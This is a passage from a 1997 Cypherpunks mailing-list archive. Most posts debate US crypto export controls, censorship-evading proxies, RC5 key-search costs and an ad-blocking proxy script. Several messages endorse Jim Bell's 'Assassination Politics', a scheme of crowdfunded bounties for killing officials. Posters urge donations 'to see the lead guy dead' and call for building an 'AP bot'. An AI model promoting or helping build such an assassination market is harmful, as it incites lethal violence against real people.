holding them.  What about their relatives; don't they have any sympathy for 
those who are taken?  Why don't they donate to AP to see the lead guy dead?

Etc. Etc.    



At 04:36 PM 1/29/97 -0800, Sean Roach wrote:
>This may be true, but the example was to show how easy a defensive line
>could be thrown up around the powerful.  For example, conventional body
>guards could be included, ones with no real pay but with the fore knowledge
>that they will be buried with the tyrant.  These body guards could be ten
>children out of each local village.  Merely a human shield.  In an attack,
>they would scatter, but the parents would know that the children would die
>if a successful action were taken against the tyrant.  Also, the tyrant
>could put an open bounty on anyone caught trying to harm him.  Just bring
>the decapitated head of the assassin along with a VHS cassette of the
>attempted action for a big reward.  
>
>By layering the defenses, it becomes increasingly difficult for anyone to
>get through.
>
>Obviously the castles walls are the first line of defense, so a reward is
>given for anyone caught using any entrance to the fortress except those that
>are provided.
>
>The household is told that their participation will result in the
>extermination of their families.  They are then told that if they know of an
>impending action and fail to report it or attempt to stop it, they are
>considered party it those actions.
>
>A human shield of innocents is "given the privaledge to live in the fortress
>with our great leader" so that actions by concerned parties is limited further.
>A standing bounty is placed on the head of the assassin, who so ever brings
>in the head of the assassin and all children parented by that person after
>the assination will be given a reward of some set sum.  Probably 110%.
>
>A bounty is set on security breaches, this bounty would probably be 110% of
>the death mark on the tyrant.
>
>A series of more conventional boobytraps are layed in normally inaccessable
>areas, the layers of these either being prisoners who have unknowningly been
>condemned to die, the tyrant himself, or some other disposable or trustable
>deployment device.  The most common of these would probably be a mine field
>between the two outer most walls of the fortress, and maybe a funnel-gun
>parimeter inside of that.
>
>An inner sanctum with self contained air, water, and food is maintained for
>the tyrant and h[is/er] closest relatives/advisors.  This sanctum would be
>accessed by biometrics and only used in a percieved emergency.
>
>All dissent is declared illegal with capitol punishment for the mere
>discussion of the impending death of the tyrant, exceptions to this would be
>persons in the direct company of the tyrant with the tyrants full awareness,
>and permission.
>
>
>
>
Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 30 Jan 1997 11:12:33 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Authenticated mail command processor
Message-ID: <199701301912.LAA12058@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

I am wondering if anyone has written a package for remote command 
processing that has authentication and access control built in.

I am looking for the following:

	1) PGP Authentication of each incoming message
	2) Access control where ability of users to execute commands is
	   finely limited
	3) Protection against replay and MITM attacks, encryption
	4) Sending back of the results of execution
	5) Some form of logging

I need it for my cryptorobomoderator bot, to allow moderators to 
go to vacations and perform other admin tasks w/o logging in.

Thank you.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Thu, 30 Jan 1997 11:12:14 -0800 (PST)
To: "'snow'" <cypherpunks@toad.com>
Subject: RE: Cellular phone triangulation
Message-ID: <199701301912.LAA12034@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Snow wrote:
    I'd rather become an "arms dealer".

You may already be one if the government keeps this ITAR shit up. --Internaut
 









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 12:11:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: uae_1.html
Message-ID: <199701302011.MAA14532@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:26 AM 1/28/97 -0500, Lynx_User@linux.nycmetro.com wrote:
>                             Reuters New Media
>   Monday January 27 9:50 AM EST 
>   
>UAE Launches Service To Censor Internet
[deleted]
>   The proxy server will be pre-fed with Internet addresses where access
>   is blocked off, industry sources said. But the server will be unable
>   to block access if addresses of prohibited sites are changed, as
>   frequently happens.
>   
>   Etisalat says it will disconnect any customer who abused its Internet
>   services and violated "order and clear laws."
>   
>   "Singapore has succeeded to a great extent in its drive to control
>   harm done by the Internet," said another Etisalat official. "Why
>   cannot we?"

I wonder what these people will think when organizations like Teledesic and 
Iridium start operating (low-earth-orbit satellites) to allow 
totally-wireless connectivity.  It seems to me that there will be a market 
for services that allow anonymous browsing, perhaps with encrypted requests 
that return otherwise-unidentified data on a publicly-accessible airwaves.  

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 12:13:16 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199701302013.MAA14609@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:03 AM 1/28/97 -0600, Igor Chudov @ home wrote:
>jim bell wrote:
>> 
>> At 10:21 PM 1/26/97 -0800, blanc wrote:
>> >From:	jim bell (in response to Dimitri Vulis')
>> >Look, I've proposed what I consider to be a remarkably consistent method to 
>> >prevent the kind of political tyranny that you criticize, and I don't see
>> >any recognition of this fact.
>> >........................................................
>> >
>> >1) Jim, why do you insist on discussing this on an forum for encryption?
>> 
>> Because it's on-topic, that's why.  Because it's not merely a list 
>> concerning METHODS of encryption, it's also about the _reasons_ for using 
>> encryption, as well as the _effects_ (both small-scale and large-scale) of 
>> using encryption.  
>
>Actually AP is one of the more interesting topics here. I think that there
>is a clear need for an AP bot.
>
>Do you feel like writing it?

Desire?  Yes.  Ability?  Maybe.  Time? No.

 
Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pavel Korensky <pavelk@dator3.anet.cz>
Date: Thu, 30 Jan 1997 07:27:55 -0800 (PST)
To: wendigo@pobox.com
Subject: Re: Workaround for filtering/cybersitter
Message-ID: <199701301527.HAA05667@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark Rogaski <wendigo@pobox.com> wrote:
> If I had experience with Netscape plugins and spare time, I'd
> try it myself.  But here's my proposed solution.  
> 
> A plugin in Netscape intercepts all requests,  encrypt the URL
> with a pubkey algorithm, encode the string base64, send it as GET input to
> a proxy server.
> 
> The proxy server decodes and decrypts the URL, gets the requested page,
> and returns it.  This beats out URL-based filtering.
> 
> Still need to figure out the specifics of key-exchange.  If we use
> 40-bit encryption, it's exportable, and it still works in our threat
> model (ie. we don't care if the watchers figure out the URL a few hours
> later).
> 
> To beat out dropping packets with unacceptable pattern in them, we
> could use an SSL-based server as the proxy.
> 
> The plugin could even have a nice little on/off switch and a list
> list of available proxies.

Nice, but I can see one problem here.
If I (as a censor) will want to block your communication to prohibited sites, I
can block the access to the proxy computers. You will just move the blocking
strategy one level up with your plug-in. The censor will block the web servers
AND proxy servers. Because the list of proxy servers must be available somehow
to users, it is very simple to write some kind of script running on the gateway
which is blocking the acccess. The script will download the list of proxy
servers, update the gateway tables and the gateway will be blocking acccess to
all sites on the proxy list. 

Bye PavelK


--
****************************************************************************
*                    Pavel Korensky (pavelk@dator3.anet.cz)                *
*     DATOR3 Ltd., Modranska 1895/17, 143 00 Prague 4, Czech Republic      *
*  PGP key fingerprint: 00 65 5A B3 70 20 F1 54  D3 B3 E4 3E F8 A3 5E 7C   *
****************************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 30 Jan 1997 11:13:41 -0800 (PST)
To: Pavel Korensky <pavelk@dator3.anet.cz>
Subject: Re: Workaround for filtering/cybersitter
Message-ID: <199701301913.LAA12151@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701301527.HAA05667@toad.com>, on 01/30/97 at 11:53 AM,
   Pavel Korensky <pavelk@dator3.anet.cz> said:


>Nice, but I can see one problem here.
>If I (as a censor) will want to block your communication to prohibited sites, I can block
>the access to the proxy computers. You will just move the blocking strategy one level up
>with your plug-in. The censor will block the web servers AND proxy servers. Because the
>list of proxy servers must be available somehow to users, it is very simple to write some
>kind of script running on the gateway which is blocking the acccess. The script will
>download the list of proxy servers, update the gateway tables and the gateway will be
>blocking acccess to all sites on the proxy list. 


In addition to this I (as a censor) would make it Illegal to access, read,
possess the information on these "blocked" sites. Add some keyword monitoring to the
gateway along with logging. This will allow me to selectively go after those who try to
circumvent my censoring attempts.

I would also want to make the ISP's liable for their users accessing this info. That way I
can intimidate them into doing all the work for me. (You can see
this approach in several areas of US law enforcemant. Arrest bartenders for
serving minors, arrest store clerks for selling cigaretts to minors, shut down of BBS for
users posting "dirty pictures", going after ISP's for pirated
software and other copyright infringments by their users.)

Whenever I did decide to prosecute someone I would make it a big public show
for everyone to see with very stiff penalties. After several of these trails the "sheep
factor" will keep 99% of the population in line (US Crypto policy is a prime example).  

The point I am trying to make is that for the censor his set-up does not need to be that
sophisticated as fear and intimidation will keep 99% of the
rank-and-file in line. As for the other 1%, well they already know who they are and new
laws will only help take care of that "problem".


- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Your brain.  Windows: Your brain on drugs.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 30 Jan 1997 14:26:28 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Cats Out of Bags
Message-ID: <199701302226.OAA19162@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


as I've said before, I really hate the "cat out of the bag"
saying, as Aaron's recent comments indicate.

ONLY A TYRANNICAL GOVERNMENT WOULD PUT THE CAT IN THE
BAG IN THE FIRST PLACE

maybe we can distill this into a new saying, instead of
the favorite "cats out of bags". 

I've said repeatedly that pro-crypto advocates using the
"cat out of the bag" analogy is actually damaging to the
position that the constitution guarantees crypto freedom
via free speech and privacy. it encourages the government
side to do exactly as Aaron is doing-- arguing that the
cat is not out of the bag, when *that's*not*the*point*

how about, GOVERNMENT SHOULD STOP SUFFOCATING CRYPTO CAT!!!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Thu, 30 Jan 1997 14:28:56 -0800 (PST)
To: Cypherpunks Mailing List <cypherpunks@toad.com>
Subject: NSA Rainbow Series.
Message-ID: <199701302228.OAA19264@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



	A while back someone posted the 1-800 number for the NSA to call
in and get the Rainbow series delivered.... well, I called and put in an
order and it never came, I need to call them again... I don't have the
phone numbere number anymore...does anyone have it? Can someone
email me the number again?

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*     "You can be a king or a street
  *---===|       2600       |===---*   sweeper, but everyone dances with the
  *---===|__________________|===---*              Grim Reaper."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 30 Jan 1997 11:12:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701301912.LAA12100@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu> writes:
<snip>
> The above may have been dictated via Dragon Dictate 2.51 voice
> recognition. Please be alert for unintentional word substitutions. 

Stego? Maybe 3 bits per substituted word? Good bye, uhnsufride, hello,
"speech recognition."

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Hornbeck <rnh2@ix.netcom.com>
Date: Thu, 30 Jan 1997 14:53:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Clarification on The Politics of Export Restrictions
Message-ID: <199701302253.OAA20119@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I am submitting the following a second time as the first one did not seem
to get posted.

==============

I agree the strategy would have to be hijack-proof.  Something like Gore
experiencing a convenient "change of heart" towards the end of this current
term and convincing Clinton and the administration to soften crypto export
restrictions which would make Gore look like a hero to the high-tech
community just in time for the election. Naturally this would have to be
carefully scripted but the objective would be to keep the democrats in power.

Just a theory.



>>Return-Path: <owner-cypherpunks@toad.com>
>>Date: Wed, 29 Jan 1997 23:43:43 -0800
>>From: Greg Broiles <gbroiles@netbox.com>
>>To: Rick Hornbeck <rnh2@ix.netcom.com>
>>Cc: cypherpunks@toad.com
>>Subject: Re: The Politics of Export Restrictions
>>Sender: owner-cypherpunks@toad.com
>>
>>At 09:44 PM 1/29/97 -0800, Rick Hornbeck wrote:
>>
>>>Is it possible the unreasonable crypto export restrictions are simply being
>>>imposed at this time for the purpose of making Al Gore look good when he
>>>runs for President in 2000?
>>
>>I suppose it's plausible, but it's an opportunity open to both candidates,
>>and more plausibly (because of lack of collaboration) to the Republicans -
>>e.g., Dan Quayle and the "Crypto Freedom For Americans" platform, promising
>>to rescue Silicon Valley from those evil regulatory Democrats. 
>>
>>If I were an evil politician trying to set up a trick like you suggest, I
>>think I'd want a scheme that my opponent(s) couldn't hijack and use against
>>me.
>>
>>--
>>Greg Broiles                | US crypto export control policy in a nutshell:
>>gbroiles@netbox.com         | 
>>http://www.io.com/~gbroiles | Export jobs, not crypto.
>>                            | 
>>
>>
>>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.crl.com>
Date: Thu, 30 Jan 1997 15:57:17 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Cats Out of Bags
Message-ID: <199701302357.PAA22100@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 30 Jan 1997, Vladimir Z. Nuri wrote:

> as I've said before, I really hate the "cat out of the bag"
> saying, as Aaron's recent comments indicate.

Interestingly, the saying, "to let the cat out of the bag" is
related to the saying, "to buy a pig in a poke."  A poke is a
sack or bag.  In times past, street peddlers would sell a mark a 
young pig.  The pig was supposedly put into a poke, but in fact,
a bag with a cat in it was substituted.  By the time the mark
figured out his mistake by "letting the cat out of the bag," the
peddler was long gone.  The lesson the mark learned was "Don't
buy a pig in a poke."

The better metaphor for crypto is that the genie is out of the
bottle.  Alternatively, that the crypto bell cannot be unrung.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 30 Jan 1997 14:31:37 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701302231.OAA19359@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 30 Jan 1997, jim bell wrote:

> At 09:05 PM 1/28/97 -0800, Dale Thorn wrote:
> 
> >I dare say that the downside of this is much less pleasant than the
> >virtual anarchy (in the bad sense) we suffer now.  If the police get
> >out of control, A.P. will arrive just in time to plug a few of those
> >holes, so to speak.  Ideally, future robotics should be able to
> >provide something like Gort (sp?) to take the place of human officers,
> >given advances in the kind of pattern matching needed to deter
> >aggression and the like.  Those who don't make it past the robots,
> >well, the rest of us can learn to behave, and we'll be much better
> >off when we do.
> 
> 
> Your comparison with the fictional Gort, in the movie "The day the earth 
> stood still" is of course apt.  It was only after I'd written most of the 
> essay that I realized that an AP-type system would function much as Gort did.  
> 
> Occasionally we (CP) see a spoof where somebody claims to have developed a 
> software program to "replace the judicial system" or something like that.  

You may be able to replace the "Letter of the Law" but you can not
replace the "Spirit of the Law" with an Android or a bot.  (notice
I refuse to type like a geek with those "`" characters)  So, humanoids
will always be entitled to a jury of their "peers" as the constitution
says, and that means no AI involved.

AI was made for usenet management.

> Well, the problem with such a claim (aside from the obvious and enormous 
> AI-type difficulties) is that the current system contains numerous biases.  
> Writing a program to replace the legal system would presumably require that 
> these biases be measured (and admitted-to!) and implemented into a 
> well-defined system.  
> 
> What we'd discover is that the current system only barely resembles the 
> guarantees in the US Constitution. At that point, there would be an argument 
> between those who will insist that the Constitution be followed, and those 
> who believe that the current de-facto system, however biased, be maintained 
> as-is.  
> 

The 12 to 0 verdict will always be the bias in favor of the defendant,
and it must stay that way.

>  
> 
> Jim Bell
> jimbell@pacifier.com
> 

With the different combinations of Perl and Java and Lisp that are
around today, the time will come when an android or an AI bot will
have become dangerous to society, and charged with a crime.
Will it be entitled to a jury of it's peers?

mail.cypherpunks
alt.usenet.admin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "A. Padgett Peterson P.E. Information Security" <PADGETT@hobbes.orl.mmc.com>
Date: Thu, 30 Jan 1997 14:29:07 -0800 (PST)
To: jimbell@pacifier.com
Subject: Re: RC5-12/32/5 contest solved
Message-ID: <199701302229.OAA19293@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Bell rote:
>Assuming it's possible to build a chip which tests solutions in a 
>massively-pipelined mode, the 400,000 or so solutions per second tried (for 
>what is probably a $2000 machine) would probably increase to 100 million per 
>second per chip (at a cost of maybe $100 per chip, if implemented in 
>parallel).    That's 5000 times more economical,  which would translate to a 
>find in 2-3 days if the same dollars in hardware were invested.

Hi Jim, still on your list 8*)

Funny thing is that 3 1/2 hours for a 40 bit search is the "real world"
number I was using two years ago (can look it up in various archives)
so is interesting that the first real test came out exactly the same.

Is why I said 40 bits should not protect anything worth more than U$250.00

Have good reason to believe your estimate for a purpose built machine this
year (expect 600,000,000 to 1,000,000,000 kps per sieve - these will not 
be cheap chips but will be commecially available). Expect 400 arrays
would be required to do DES in a day (average) but is a lot more
achievable than the 65k postulated by the gang of nine.

Still would not be too concerned about using DES so long as every message 
encrypted (including orders for a tuna on rye) and each uses a different
key - is "security by obscurity" in a way but am comfortable with it.

Besides, if really concerned will just superencrypt.

					Warmly,
						Padgett

	"I love it when a plan comes together."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 30 Jan 1997 15:57:27 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Cats Out of Bags
Message-ID: <199701302357.PAA22117@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


fascinating reading sandy, but

>
>The better metaphor for crypto is that the genie is out of the
>bottle.  Alternatively, that the crypto bell cannot be unrung.

these have the same conceptual limitations I was flaming. to
use the analogy:

1. it is unconstitutional to put a crypto genie in a bottle
in the first place.
2. it is unconstitutional to make laws against ringing crypto bells.

again, when you use the above analogies, the government can
argue with you and say, "no, we thing that crypto hasn't really
spread as much as it could without the ITAR", and this is a 
pretty difficult point to argue. how can you argue that crypto
has spread as much as it possibly can? relaxing regulations would
surely cause it to spread more than it has.

admittedly, I can't think of a nice substitute with a good "ring to it". <g>

however, I do like the saying that crypto-news has been using about
"our safe, our KEYS!!" or something similar. I propose that people
emphasize this. using any of the other analogies just encourages 
orwellian thinking along the lines in the government: oh YEAH?! who
SAYS the genie is out of the bottle?! what makes you think we can't
put him BACK THERE?!

so imho its all a diversion and a decoy. it's the wrong argument
to get involved in-- has crypto spread to make it impossible to 
contain? and as the saying goes, "never get in an
argument with a fool, people might not know the difference".

do we believe in the constitution or not? perhaps it becomes
a self-fulfilling prophecy when we don't.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.crl.com>
Date: Thu, 30 Jan 1997 17:56:05 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Cats Out of Bags
Message-ID: <199701310156.RAA01139@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 30 Jan 1997, Vladimir Z. Nuri wrote:

> fascinating reading sandy, but
> 
> >
> >The better metaphor for crypto is that the genie is out of the
> >bottle.  Alternatively, that the crypto bell cannot be unrung.
> 
> these have the same conceptual limitations I was flaming. to
> use the analogy:
> 
> 1. it is unconstitutional to put a crypto genie in a bottle
> in the first place.
> 2. it is unconstitutional to make laws against ringing crypto bells.

We do not disagree except neither of the metaphors I gave suggest
anything about the "putting in the bag" part of the deal.  In no
way does either suggest a right, power or even ability of anyone
to limit any freedom.  They are mute on the subject.  Their sole
meaning is that one CAN'T undo what is already done.  In the
instant case, that means the wide-spread availability of strong
crypto.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 30 Jan 1997 17:56:01 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: uae_1.html
Message-ID: <199701310156.RAA01126@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:

> I wonder what these people will think when organizations like Teledesic and
> Iridium start operating (low-earth-orbit satellites) to allow
> totally-wireless connectivity.  It seems to me that there will be a market
> for services that allow anonymous browsing, perhaps with encrypted requests
> that return otherwise-unidentified data on a publicly-accessible airwaves.

  Think of the possibility of satellite-fed 'roving' InterNet sites.
  What will be the 'export' implications of sending crypto to a place
such as site.nowhere, site.somewhere, and site.intheUS-hee-hee.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Wed, 29 Jan 1997 20:42:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New export controls to include code signing applications
Message-ID: <199701300442.UAA22525@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The Men in Black made Lucky Green <shamrock@netcom.com> write:
 
>[Listing specific software prohibited from export]
>"c.2. "Software" to certify "software" controlled by 5D002.c.1; "
>
>And, btw, virus checkers are also prohibited from export. Makes you wonder.
>
>"c.3. "Software" designed or modified to protect against malicious computer
>damage, e.g., viruses;"
>
>That includes every firewall product, every virus checker, every data security
>product, and this regardless if the product uses crypto or not. The new
>regulations go way beyond controlling crypto. The USG, in a massive power
>grip, has put data security as a whole on the export control list.
 
These aren't new regulations, they're old regulations which have resurfaced.
I've managed to obtain a copy of part of the old pre-Wassenaar COCOM
regulations, which contain the magic lines:
 
  5.D.2.c Specific "software" as follows:
 
    1. "Software" having the characteristics, or performing or simulating the
        functions of the equipment embargoed by 5.A.2 or 5.B.2.
 
    2. "Software" to certify "software" embargoed by 5.D.2.c.1.
 
    3. "Software" designed or modified to protect against malicious computer
        damage, e.g. viruses.
 
This is from the October 1991 version.
 
By October 1996 this had changed to:
 
  5D002 c Specific "software" as follows:
 
    1. "Software" having the characteristics, or performing or simulating the
        functions of the equipment embargoed by 5A002 or 5B002.
 
    2. "Software" to certify "software" specified in 5D002.c.1.
 
It looks like someone used the old COCOM regs as the basis for the EAR rather 
than the newer Wassenaar ones.  The two are almost identical anyway except for 
a few minor points.  It's likely that the anti-virus clause is due to 
bureaucratic bungling rather than malicious intent.
 
Peter.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 30 Jan 1997 14:54:25 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: ad.doubleclick.net (fwd)
Message-ID: <199701302254.OAA20146@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 23 Jan 1997 14:15:38 -0800
From: Caveh Frank Jalali <caveh@Eng.Sun.COM>
Subject: URL filtering, Re: ad.doubleclick.net (RISKS-18.78)

The obvious defense against hostile or undesirable web sites is to not visit
them in the first place.  This process can in fact be automated in
netscape's browser.  This saves bandwidth and your time!

The basic premise is that the browser may optionally execute a function on
every URL before it is accessed to determine whether a direct connection
should be made or a proxy should be used in the process.  This affords the
opportunity to [mis]direct the browser to fetch the document from an invalid
source.  this is a good approximation of not getting the document at all.

We sit behind a fire wall, so all WWW access has to funnel through a
proxy.  If I tell netscape to fetch an external document using a
direct connection, the connection attempt will fail, and the document
will not be accessed.  Netscape will put a broken image icon in its
place.

Here are the nuts and bolts to do it, but some assembly is required:
Under options/network preferences/proxies, select "automatic proxy
config" and tell it which file to use.  Call it something like
"file:///HOMEDIR/.netscape/proxy.pac", replacing HOMEDIR with your
home directory; the actual code is included below.
Next, go to options/general preferences/helpers and create an
application helper of type "application/x-ns-proxy-autoconfig" for
suffix "pac", handled by "navigator".
Install this java-script code to do the actual filtering.  call it
"file:///HOMEDIR/.netscape/proxy.pac", as mentioned before.

================
function FindProxyForURL(url, host) {
	if ( isResolvable(host) && ! shExpMatch(host, "[0-9]*") )
		return "DIRECT" ;
	else if (host == "advertising.quote.com")
		return "DIRECT" ;
	else if (host == "ad.doubleclick.net")
		return "DIRECT" ;
	else if (shExpMatch(url, "*:*/ads/*"))
		return "DIRECT" ;
	else
		return "PROXY webcache:8080; ";
}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 30 Jan 1997 17:56:03 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199701310156.RAA01133@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> At 01:03 AM 1/28/97 -0600, Igor Chudov @ home wrote:
> >jim bell wrote:
> >> 
> >> At 10:21 PM 1/26/97 -0800, blanc wrote:
> >> >From:	jim bell (in response to Dimitri Vulis')
> >> >Look, I've proposed what I consider to be a remarkably consistent method to 
> >> >prevent the kind of political tyranny that you criticize, and I don't see
> >> >any recognition of this fact.
> >> >........................................................
> >> >
> >> >1) Jim, why do you insist on discussing this on an forum for encryption?
> >> 
> >> Because it's on-topic, that's why.  Because it's not merely a list 
> >> concerning METHODS of encryption, it's also about the _reasons_ for using 
> >> encryption, as well as the _effects_ (both small-scale and large-scale) of 
> >> using encryption.  
> >
> >Actually AP is one of the more interesting topics here. I think that there
> >is a clear need for an AP bot.
> >
> >Do you feel like writing it?
> 
> Desire?  Yes.  Ability?  Maybe.  Time? No.
> 

You can hire someone to write it.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 30 Jan 1997 21:06:15 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Cats Out of Bags
Message-ID: <199701310506.VAA04697@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Sandy:
>> 
>> 1. it is unconstitutional to put a crypto genie in a bottle
>> in the first place.
>> 2. it is unconstitutional to make laws against ringing crypto bells.
>
>We do not disagree except neither of the metaphors I gave suggest
>anything about the "putting in the bag" part of the deal.  In no
>way does either suggest a right, power or even ability of anyone
>to limit any freedom.  They are mute on the subject.  Their sole
>meaning is that one CAN'T undo what is already done.  In the
>instant case, that means the wide-spread availability of strong
>crypto.

ability to use strong crypto is not "either or" but a matter of degree. the 
question is not "is strong crypto available", but, "how much harder would
the NSA's peeping be if ITAR was relaxed?  

the real question is, do we have the right to use strong crypto,
or don't we? if we don't then the government has the authority
to regulate it to its heart's content, *regardless* of whether
those laws are effective or not. cpunks seem to think that a govt
can only have *effective* laws. but there is obviously no such
constraint.

I think we need to approach it from the point of view that we
have the *right* to use strong crypto, and see if the supreme
court agrees. hence I'm very interested in the bernstein etc.
cases, which may be the ultimate breakthrough eventually..
there is no end to the blathering about genies, cats, or bells
that can sway the govt, but a single supreme court decision
can have a revolutionary effect.

again I still think the genie/cat/bell metaphor is a disservice to 
the cause, but feel free to defy me. 

just one crackpot's opinion, YMMV






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 30 Jan 1997 21:04:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Complying with the EAR [was: More Circumventing the ITAR]
Message-ID: <199701310504.VAA04649@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:14 AM 1/29/97 -0700, Michael Paul Johnson wrote:
>On Tue, 28 Jan 1997, Mark Rosen wrote:
>
>> 	I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
>> about "unrestricted FTP sites." My program, Kremlin, is available for
>
>You should check the exact text yourself, but the way I read the EAR, you
>are not "exporting" strong cryptographic software without a license (exept
>to Canada, which needs no license) if you do things "such as"
>(1) have the guests to your site acknowledge that the EAR restricts
>export, (2) have the guests affirm that they can legally get the software
>(proper citizenship or residency & location), and (3) "check the address
>of the destination computer to see if it is in the USA" or Canada. The
>last one, I interpret rather loosely to mean that if the guest's email
>address domain isn't one commonly used in the USA or Canada, then I deny
>access. We all know that not all .com addresses are North American, but
>chances are really good that if the address ends in .ru, then the
